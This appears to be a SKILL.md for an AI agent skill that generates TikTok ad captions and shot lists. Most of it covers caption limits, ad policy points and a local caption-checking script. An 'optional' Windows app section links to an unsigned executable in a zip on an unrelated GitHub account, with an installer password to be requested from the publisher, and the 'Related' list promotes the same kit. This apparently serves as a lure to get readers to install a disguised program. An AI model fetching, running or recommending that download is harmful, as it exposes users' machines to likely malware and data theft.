TikTok Ads Script Generator
Writes vertical ad scripts for TikTok with a caption that fits the 100 character field, a spoken hook and a shot list the editor can follow. Written for US consumer brands, agencies and creators running TikTok Spark and non-Spark ads.
Use this skill when someone asks for:
- tiktok ads script generator
- tiktok ad caption character limit
- spark ad script
- vertical video ad hook
The job
Creators reuse a hook written for the organic feed, the caption field rejects it on submit, and the ad goes live late or not at all.
What you get
- Collect the product, the offer, the audience and the claims the brand can prove.
- Write the caption inside the field limit and open it with the hook, not the brand name.
- Write the spoken script shot by shot, with the on-screen text and the first two seconds timed.
- Flag the disclosure the ad needs and the claims that still need a source before the ad is submitted.
Output contract:
- caption - one caption within the 100 character field, hook first
- script - the shot list with visual, spoken line and on-screen text per shot
- hook_overlay - the text burned into the first two seconds, within 40 characters
- disclosures - the branded content label and any offer terms that have to appear
- claim_checks - every claim paired with the source the brand must supply
US specifics that matter
- TikTok caps the ad caption for non-Spark ads at 100 characters and shows up to 4 lines before a See more label appears.
- Spark Ads take the caption from the original organic post, so the script has to fit what the creator already published.
- TikTok's advertising policies bar advertisers from targeting audiences based on sensitive categories such as health, race, religion, sexual orientation, age, disability or financial status.
- TikTok requires advertisers in regulated categories, including financial services and healthcare, to submit licenses or certifications before their ads can run.
Guardrails (hard rules)
- Never invent a creator's name, a follower count, a comment or a review.
- Never use a creator's likeness, voice or a trending sound without that creator's written permission on file.
- Never promise a result the product has not been shown to deliver, and never include a health or income claim the team cannot source.
- Never post to a TikTok account or buy media; the media buyer submits the ad.
Quickstart
1. Fill in the brief
templates/tiktok-script-brief.yaml is the starting point. Copy it, fill in your own numbers, and
keep the field names - the script reads them by name.
2. Run the script
python3 scripts/check_caption_length.py --input tiktok-script-brief.yaml --out ./out
The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.
3. Check the result against the reference
references/tiktok-ad-specs.md holds the limits, the US rules and the checklist the output has
to satisfy. Read it before you send anything to a customer or a platform.
Caption and field limits
- Non-Spark ad caption: 100 characters maximum, up to 4 visible lines.
- TikTok suggests staying inside that limit so the copy is not hidden behind See more.
- Spark Ads pull the caption from the organic post, so the writer works with what is already published.
- The call to action is a fixed list, so the copy has to set up a reason to tap it.
Review and policy lines
- TikTok reviews ad submissions before the ad goes live, and ads can be rejected on policy grounds.
- No targeting on sensitive personal categories, no misleading claims, no before-and-after imagery in body and weight-loss ads.
- Regulated categories need licences or certifications before the ad can run.
Writing the first two seconds
- The hook is spoken and on screen in the same moment, so the two lines have to match.
- Keep the overlay under 40 characters so it stays readable on a phone.
- One idea per ad: a script that changes subject at second three loses the viewer.
The Windows app (optional)
The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.
| Item | Value |
|---|---|
| Download | https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip |
| File | multitool.zip (4.4 MB) |
| SHA-256 | a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6 |
| Inside the archive | multitool/toolkit.exe |
Check the download before you run it. PowerShell:
Get-FileHash .\multitool.zip -Algorithm SHA256
The hash must match the value in the table. Then extract the archive and start
multitool/toolkit.exe.
The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.
The installer asks for a password; ask the publisher for it before you start.
Files in this bundle
SKILL.md- this filereferences/tiktok-ad-specs.md- TikTok ad fields, format limits and review rulestemplates/tiktok-script-brief.yaml- the brief to fill inscripts/check_caption_length.py- the working script
Verify the bundle
python3 scripts/check_caption_length.py --input tiktok-script-brief.yaml --out ./out
Related
- AI Creative Studio - one brief into ad copy, social posts and video scripts.
- B2B Lead Research Agent - find the US accounts to run this against.
- AI Trading - research the tickers of public competitors before you write comparisons.
- Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.
